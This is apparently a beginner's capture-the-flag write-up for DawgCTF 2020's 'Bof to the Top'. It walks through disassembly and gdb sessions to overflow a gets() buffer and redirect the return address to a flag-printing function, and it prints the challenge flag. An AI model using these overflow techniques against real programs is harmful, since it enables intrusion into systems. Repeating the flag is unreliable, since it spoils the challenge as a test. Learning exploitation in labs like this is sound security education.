# Bof to the Top
Alright, this was my first CTF, so this was the most difficult challenge for me. I wouldn't be able to solve it weren't it for the help from the nice admins on the discord server. They were very patient with me, and answered every single question I had regarding this challenge. I was an absolute beginner while doing this challenge, and they helped me every step of the way. I knew none of this before! So yeah, kudos to them! So this is more of a writeup of what I learned, really. This challenge actually took me like 10 hours to solve, so don't feel like you can't do anything like this!
We are given an [executable](bof) and its [source code](bof.c). In the source code of the file, `audition()` prints out the flag. That's the function that we need to execute! How the heck are we going to do that?
Well, we can use another buffer overflow. There are two arrays we can dump data into.
```cvoid get_audition_info(){	char name[50];	char song[50];	printf("What's your name?\n");	gets(name);	printf("What song will you be singing?\n");	gets(song);}```
We have `name` and `song`, which are both 50 bytes each, but because it uses `gets()`, there is no limit to how much we can write.
In the source code of the binary, we are told how it's compiled:
```c#include "stdio.h"#include "string.h"#include "stdlib.h"
// gcc -m32 -fno-stack-protector -no-pie bof.c -o bof```
It compiles to a 32-bit executable, and it doesn't use PIE, which is good, because the memory addresses of each instruction is the same on every machine.
If you don't have the source code of a binary, you can view info about it using this command:
```$ file bofbof: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, BuildID[sha1]=5709a36b6f4bc9dc8eba2c438456ce72bb319d93, for GNU/Linux 3.2.0, not stripped```
To get a closer look at the binary, I disassembled it using this command:
```$ objdump -d -M intel bof > bof.asm```
This is the function in the assembly code we need to focus on:
```080491c4 <get_audition_info>: 80491c4:	55                   	push   ebp 80491c5:	89 e5                	mov    ebp,esp 80491c7:	53                   	push   ebx 80491c8:	83 ec 74             	sub    esp,0x74 80491cb:	e8 f0 fe ff ff       	call   80490c0 <__x86.get_pc_thunk.bx> 80491d0:	81 c3 30 2e 00 00    	add    ebx,0x2e30 80491d6:	83 ec 0c             	sub    esp,0xc 80491d9:	8d 83 1a e0 ff ff    	lea    eax,[ebx-0x1fe6] 80491df:	50                   	push   eax 80491e0:	e8 5b fe ff ff       	call   8049040 <puts@plt> 80491e5:	83 c4 10             	add    esp,0x10 80491e8:	83 ec 0c             	sub    esp,0xc 80491eb:	8d 45 c6             	lea    eax,[ebp-0x3a] 80491ee:	50                   	push   eax 80491ef:	e8 3c fe ff ff       	call   8049030 <gets@plt> 80491f4:	83 c4 10             	add    esp,0x10 80491f7:	83 ec 0c             	sub    esp,0xc 80491fa:	8d 83 2c e0 ff ff    	lea    eax,[ebx-0x1fd4] 8049200:	50                   	push   eax 8049201:	e8 3a fe ff ff       	call   8049040 <puts@plt> 8049206:	83 c4 10             	add    esp,0x10 8049209:	83 ec 0c             	sub    esp,0xc 804920c:	8d 45 94             	lea    eax,[ebp-0x6c] 804920f:	50                   	push   eax 8049210:	e8 1b fe ff ff       	call   8049030 <gets@plt> 8049215:	83 c4 10             	add    esp,0x10 8049218:	90                   	nop 8049219:	8b 5d fc             	mov    ebx,DWORD PTR [ebp-0x4] 804921c:	c9                   	leave   804921d:	c3                   	ret   ```
Look at `0x80491ef` and `0x8049210` in the code, these are the calls that are reading input, and dumping it into the memory locations of the two character arrays.
If only I looked up that function in the first place, as it would have made this challenge much easier:
[![](gets.png)](https://www.tutorialspoint.com/c_standard_library/c_function_gets.htm)
We now know that the pointer to the buffer array is the first parameter in the function `gets()`
But where do we write the pointer?
Operands are stored on the stack. Look at the below code, I added comments for better readability.
```8049206:	83 c4 10             	add    esp,0x10 ## Reserve 4 bytes on the stack8049209:	83 ec 0c             	sub    esp,0xc  ## I don't know why, it just does.804920c:	8d 45 94             	lea    eax,[ebp-0x6c] ## Get the address804920f:	50                   	push   eax ## Push the address to the stack.8049210:	e8 1b fe ff ff       	call   8049030 <gets@plt> ## Call the function.```
Well, the address is stored in `eax` right before it is pushed onto the stack, at `0x804920f`
So, let's set up a breakpoint in gdb at that exact address and observe the contents of the registers.
If you're curious, `b` is short for `breakpoint`, `r` is short for `run`, and `i r` is short for `info registers`.
```$ gdb bof...(gdb) b *0x804920fBreakpoint 1 at 0x804920f(gdb) rStarting program: /home/jordan/CTF-writeups/DawgCTF2020/bof-to-the-top/bofWelcome to East High!We're the Wildcats and getting ready for our spring musicalWe're now accepting signups for auditions!What's your name?asdfWhat song will you be singing?
Breakpoint 1, 0x0804920f in get_audition_info ()(gdb) i reax            0xffffd26c          -11668ecx            0xffffffff          -1edx            0xffffffff          -1ebx            0x804c000           134529024esp            0xffffd254          0xffffd254ebp            0xffffd2d8          0xffffd2d8esi            0xf7f93000          -134664192edi            0xf7f93000          -134664192eip            0x804920f           0x804920f <get_audition_info+75>eflags         0x292               [ AF SF IF ]cs             0x23                35ss             0x2b                43ds             0x2b                43es             0x2b                43fs             0x0                 0gs             0x63                99(gdb)```
Well, looks like the address of `char song[50]` is at `0xffffd26c`, because that's the value stored in `eax`. (I'm not focusing on the name array, I only need to do a buffer overflow on one or the other, so I chose to use song)
That's great! Now we know the exact place we're writing to! Question is, what do we write?
Well, what about that `ret` statement at the end of `get_audition_info`?
[![](ret.png)](http://www.cs.virginia.edu/~evans/cs216/guides/x86.html)[![](pop.png)](http://www.cs.virginia.edu/~evans/cs216/guides/x86.html)
Looks like it pulls off an address off of the stack, and the jumps to that address. Can we use that?
Let's use gdb to get the stack pointer right before `ret` is called in `get_audition_info`.
```........
8049215:	83 c4 10             	add    esp,0x108049218:	90                   	nop8049219:	8b 5d fc             	mov    ebx,DWORD PTR [ebp-0x4]804921c:	c9                   	leave  804921d:	c3                   	ret   ```
`0x804921d` is our address. Let's set up a breakpoint!
```(gdb) b *0x804921dBreakpoint 1 at 0x804921d(gdb) rStarting program: /home/jordan/CTF-writeups/DawgCTF2020/bof-to-the-top/bofWelcome to East High!We're the Wildcats and getting ready for our spring musicalWe're now accepting signups for auditions!What's your name?asdfWhat song will you be singing?jkl;
Breakpoint 1, 0x0804921d in get_audition_info ()```
Good, now let's print out the registers!
```(gdb) i reax            0xffffd26c          -11668ecx            0xf7f93580          -134662784edx            0xffffd270          -11664ebx            0x0                 0esp            0xffffd2dc          0xffffd2dcebp            0xffffd2e8          0xffffd2e8esi            0xf7f93000          -134664192edi            0xf7f93000          -134664192eip            0x804921d           0x804921d <get_audition_info+89>eflags         0x286               [ PF SF IF ]cs             0x23                35ss             0x2b                43ds             0x2b                43es             0x2b                43fs             0x0                 0gs             0x63                99(gdb)```
`eax` is the same as before, so we can verify that's right. Now, `esp` is the stack pointer. Looks like `0xffffd2dc` is the address we want to overwrite!
I made a [python script](sol.py) to do this for me, because I don't think it's possible to type in a buffer overflow on a keyboard, anyways.
So, when we connect to the server, we have to send out 112 bytes to get to the address in the stack that is read when the `ret` statement is called.
Then, we can overwrite the return address with the function `audition`, which you remember is what prints the flag.
```cvoid audition(int time, int room_num){	char* flag = "/bin/cat flag.txt";	if(time == 1200 && room_num == 366){		system(flag);	}}```
The `audition` function is at `0x08049182` when you look at [bof.asm](bof.asm).
```08049182 <audition>: 8049182:	55                   	push   ebp 8049183:	89 e5                	mov    ebp,esp 8049185:	53                   	push   ebx 8049186:	83 ec 14             	sub    esp,0x14 8049189:	e8 ff 00 00 00       	call   804928d <__x86.get_pc_thunk.ax> 804918e:	05 72 2e 00 00       	add    eax,0x2e72 8049193:	8d 90 08 e0 ff ff    	lea    edx,[eax-0x1ff8] 8049199:	89 55 f4             	mov    DWORD PTR [ebp-0xc],edx 804919c:	81 7d 08 b0 04 00 00 	cmp    DWORD PTR [ebp+0x8],0x4b0 80491a3:	75 19                	jne    80491be <audition+0x3c> 80491a5:	81 7d 0c 6e 01 00 00 	cmp    DWORD PTR [ebp+0xc],0x16e 80491ac:	75 10                	jne    80491be <audition+0x3c> 80491ae:	83 ec 0c             	sub    esp,0xc 80491b1:	ff 75 f4             	push   DWORD PTR [ebp-0xc] 80491b4:	89 c3                	mov    ebx,eax 80491b6:	e8 95 fe ff ff       	call   8049050 <system@plt> 80491bb:	83 c4 10             	add    esp,0x10 80491be:	90                   	nop 80491bf:	8b 5d fc             	mov    ebx,DWORD PTR [ebp-0x4] 80491c2:	c9                   	leave   80491c3:	c3                   	ret    ```
We just overwrite the return address with `0x08049182`, where `audition` is located at.
Remember those 4 bytes that were reserved for some reason?
```8049206:	83 c4 10             	add    esp,0x10 ## Reserve 4 bytes on the stack8049209:	83 ec 0c             	sub    esp,0xc  ## I don't know why, it just does.```
Yeah, we have to overwrite that, too.
Let's look at `audition()` again.
```cvoid audition(int time, int room_num){	char* flag = "/bin/cat flag.txt";	if(time == 1200 && room_num == 366){		system(flag);	}}```
It takes 2 parameters, `time` and `room_num`, which have to be `1200` and `366` in order for the flag to be printed.
So, we write those values, and we're done!
We just have to write one last line break, and the flag should print!
The final solution script is [here](sol.py). You can read it if you want to.
I highly recommend learning how to use [pwntools](https://docs.pwntools.com/en/stable/about.html). It's a python library that a lot of people use in CTFs. And it's really easy to use.
It's [really easy to learn](https://docs.pwntools.com/en/stable/intro.html), and it makes everything much easier.
To import, you can just put `from pwn import *` at the beginning of your script.
It's completely free, I'm not being sponsored or anything, but I just think it's a really cool library that you may like to use.
```$ py sol.py[+] Starting local process './bof': pid 12899Welcome to East High!
We're the Wildcats and getting ready for our spring musical
We're now accepting signups for auditions!
What's your name?
What song will you be singing?
DawgCTF{wh@t_teAm?}
```
Flag: `DawgCTF{wh@t_teAm?}`